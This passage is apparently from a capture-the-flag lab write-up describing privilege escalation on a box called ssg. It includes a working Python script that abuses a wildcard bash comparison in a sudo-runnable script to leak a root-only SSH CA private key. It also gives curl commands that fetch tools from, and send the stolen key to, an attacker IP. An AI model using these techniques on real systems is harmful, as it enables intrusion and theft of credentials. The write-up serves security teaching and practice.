As per ChatGPT, there could be one file for each user with permitted SSH login, and content of each file lists the permitted principals that each of those users can take on. Very interesting!
Maybe I can make a key to log in as zzinter
, just like I did for support
:
ssh-keygen -t rsa -b 4096 -f zzinter -N birb12345
vim sign_key_api.sh # add zzinter_temp to list of allowed principals
./sign_key_api.sh zzinter.pub "zzinter" "zzinter_temp" | tee zzinter-cert.pub
Seems like I got a valid key as a reply from the API, so let’s try it out!
ssh -p 2222 -i ./zzinter -i ./zzinter-cert.pub zzinter@$RADDR
It worked perfectly! 👍
Local Enumeration - zzinter
Since we saw the permissiosn on /opt/sign_key.sh
only allowed zzinter
to read the script, I suspect that zzinter
is probably in the sudoers list. Check this with sudo -l
:
User zzinter may run the following commands on ssg:
(root) NOPASSWD: /opt/sign_key.sh
Suspicion confirmed! We can run that one script as sudo. It’s likely this is the PE vector. Let’s read through the script and see how we can utilize it:
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
if [[ $ca == "/etc/ssh/ca-it" ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
Analysis - sign_key.sh
The script is remarkably similar to the one we already found in the itrc
host. The key difference is that this script performs the call to ssh-keygen
itself, instead of delegating it to an API endpoint.
The final line at the bottom has some odd arguments, so here’s a summary of it:
-s "$ca_file"
Specifies the CA’s private key file ($ca_file
) used to sign the public key.-z "$serial"
Sets the certificate serial number to$serial
. This is a unique identifier for the certificate.-I "$username"
Sets the key identity or certificate identity to$username
. This is typically used to identify the user or system associated with the key.-V -1w:forever
Sets the validity period of the certificate.-1w
means the certificate is valid from one week before the current time, andforever
means it will never expire.-n "$principals"
Specifies the principals (usernames or hostnames) for which the certificate is valid.$principals
can be a comma-separated list."$public_key_name"
The public key file ($public_key_name
) that is being signed.
Now let’s consider the user-controllable inputs to this script:
ca_file
must exist, but we can determine its contents.public_key_file
must exist, but we can determine its contents too. If we want the script to run, it’ll need to be a valid OpenSSH pubkey.username
should be root. Otherwise, why would we be using this for privesc?principal
must be in the listwebserver,analytics,support,security
. However, we already know that root can only take on the principalroot_user
… How will we get past this?serial
must be a number, according to the regex that it gets applied to.
Before we make any crazy attempts to exploit this script, I’ll take a look at /etc/ssh/ca-it
:
Ah, ok… we can’t access it! Diving a little deeper into the SSHD config files, we can see this this is the trusted CA for the system:
We can also see that password authentication is disabled - so finding a way to obtain a signed SSH key to access root is almost certainly the way to escalate privilege! 👇
Exploitation - sign_key.sh
Alright, so we don’t have any way of actually reading ca-it
directly, but since we can sudo
the script, can we get the script to do it for us? Theoretically, yes we can!
Anyone who’s messed around with bash scripts extensively may have done a double-take at this part of the script:
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
It seems innocuous, right? The vulnerability is in the way that the comparison is made to the variable $ca
:
$ca
is user-controllable, albeit indirectly$ca
is on the righthand side of the==
comparison
These two factors mean that the comparison is vulnerable to using a wildcard match. The idea is exactly the same as the privesc that I did in Codify. Please give that a read for more detail on why the code is vulnerable.
In short, we can make it so a comparison like this is actually made:
if [[ $itca == "a*" ]]; then
Performing that comparison would tell us whether or not contents of the file /etc/ssh/ca-it
starts with an a
. By cycling through the whole character set, we can read the file. Character by character, we can read the whole file! This is also conceptually very similar to how I dumped the SSH keys at the end of Intentions. For that code, please see my github repo for it.
Planning
The gist is that we need to keep guessing characters until we find correct ones, then append that to the “known” part of the cert. Eventually, we will build up the guess to a point where we know it is complete:
This should eventually lead to us copying the /etc/ssh/ca-it
file, which can normally only be read by root
. As we saw already in the SSHD configs, that CA is trusted by the host: if we gain a copy of that trusted CA certificate, we can sign any SSH keys we want and they will be implicitly trusted by the host!
- Obtain a copy of the CA certificate private key,
ca-it
- Create a new keypair, to be used for the root user on
ssg
. - Sign the public key from the generated keypair, thus making it trusted implicitly by
ssg
- Log in as root
Implementation
In my actual script, I added in a few things to make it pretty. I’ve omitted all that stuff to make it simpler here:
import subprocess
import string
charset = list(
string.ascii_lowercase +
string.ascii_uppercase +
string.digits + '/+=\n- '
)
prefix = '-----BEGIN OPENSSH PRIVATE KEY-----'
suffix = '-----END OPENSSH PRIVATE KEY-----'
test_file = '/tmp/.Tools/my_test_ca_file'
script = '/opt/sign_key.sh'
command = ["sudo", script, test_file, "/tmp/.Tools/ssg_root.pub", "root", "root_user", "123456"]
found_bytes = prefix
while True:
# Check if we've found the whole file
if found_bytes.endswith(suffix):
print(found_bytes)
break
found_c = None
for c in charset:
# Write the test file
write_file(found_bytes + c + '*')
print_by_line(found_bytes + c)
# Run the script, supplying the test file as the first argument
try:
# Run the subprocess, check return code
process = subprocess.run(command, capture_output=True)
# Check if the expected error message is in the output
if process.returncode == 1:
found_c = c
break
except subprocess.CalledProcessError as e:
continue
#print(f"An error occurred: {e}")
if found_c is None:
break
found_bytes += found_c
print(found_bytes)
When the script finishes, /tmp/.Tools/my_test_ca_file
should contain a copy of /etc/ssh/ca-it
.
To prepare for privesc, let’s generate a keypair for the root user. I’ve done this from my attacker machine, but it could also be done on the target. Then, find a way to get the pubkey onto the target:
# Generate a keypair
ssh-keygen -t rsa -b 4096 -f ssg_root -N birb09876
# Serve the pubkey to the target, using http
cd ../www
cp ../keys/ssg_root.pub ./
cp ../exploit/privesc/read_ca-it.py ./
simple-server 8000 -v
On the target host (ssg
), download the exploit script and the pubkey:
We could actually use any valid OpenSSH key. This one is just a placeholder to pass to the
/opt/sign_key.sh
script.
mkdir -p /tmp/.Tools && cd /tmp/.Tools
curl -O http://10.10.14.5:8000/ssg_root.pub
curl -O http://10.10.14.5:8000/read_ca-it.py
chmod +x read_ca-it.py
With the files in place, run the exploit script. Once it’s done, exfiltrate the copy of ca-it
that we generate. To avoid spoiling the box for others, clean up behind ourselves:
# Run the script. It takes a few minutes
python3 read_ca-it.py
# Upload the result to the attacker (or just copy-paste)
curl -X POST -F 'file=@my_test_ca_file' http://10.10.14.5:8000
rm -rf /tmp/.Tools
Use the CA cert that we generated to sign the pubkey from the root
user keypair that we made earlier:
Note that the serial number 12345 is totally arbitrary. All the other args need to match how I’ve shown it here, though 👇
mv my_test_ca_file ca-it
vim ca-it # There was an extra byte on the end, clean it up
chmod 0600 ca-it
# Sign the key using the CA cert we just obtained
ssh-keygen -s "ca-it" -z "12345" -I "root" -V -1w:forever -n "root_user" "ssg_root.pub"
This will sign the pubkey, creating a new file ssg_root-cert.pub
. After restricting the file permissions, we can use the private key ssg_root
and the signed pubkey ssg_root-cert.pub
to log in as the root user:
# Copy over the root ssh key too
cp ../keys/ssg_root ./
chmod 0600 ssg_root
ssh -p 2222 -i ./ssg_root -i ssg_root-cert.pub root@$RADDR
That’s all there is to it! We can see the root flag in the usual spot. cat
the flag to finish off the box:
cat /root/root.txt
CLEANUP
Target
On the itrc
host, I’ll get rid of the spot where I place my tools, /tmp/.Tools
:
rm -rf /tmp/.Tools
I already did this on the ssg
host.
Attacker
It’s a good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
There’s also a few entries to clean up in my hosts
file:
sudo vim /etc/hosts
LESSONS LEARNED
Attacker
🤷♂️ Dont’ feel too bad about checking the forums early. It can be a very productive sanity-check. Early on in this box, during Recon, I wasted nearly 2 hours persuing the
regreSSHion
vulnerability. Why was I so fixated on this one vulnerability? Well, because my instance kept starting up without any HTTP running! All I was seeing were ports 22 and 2222, so naturally I assumed that the foothold would be one of the SSH services.🐘 PHP stream wrappers are an easy target. On this box, we utilized the
phar://
wrapper to “peek inside” a zip file and execute the PHP code within. I find it a little crazy that it’s even possible to do that. I’ll definitely be remembering this trick for next time I find a file upload feature of a PHP-based web app. Even though we used a reverse shell, we could have just as easily used a webshell.#️⃣ Custom bash scripts are almost always the privesc vector. It is notoriously difficult to write secure bash scripts. On this box, we abused the fact that the author accidentally wrote an
==
comparison backwards: if they had exchanged the lefthand side and righthand side, that clause would have been secure. As an attacker, always pay extra attention to custom bash scripts.
Defender
🔥 Dear PHP, I love you but you’re a dumpster fire. It’s a very convenient language for easily building a funcitonal web application, but it’s also full of holes an bypasses. I think developers should gravitate towards more “secure by default” server-side languages when developing web apps.
🏹 Clean up orphaned entities. On this box,
zzinter
had already deleted their SSH keys for thessg
host. So… why did they still have an account on that host? And why did that account still havesudo
privileges? I understand that they were in a time of transition for handling their certificate management, but this is no excuse for IT sloppiness.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake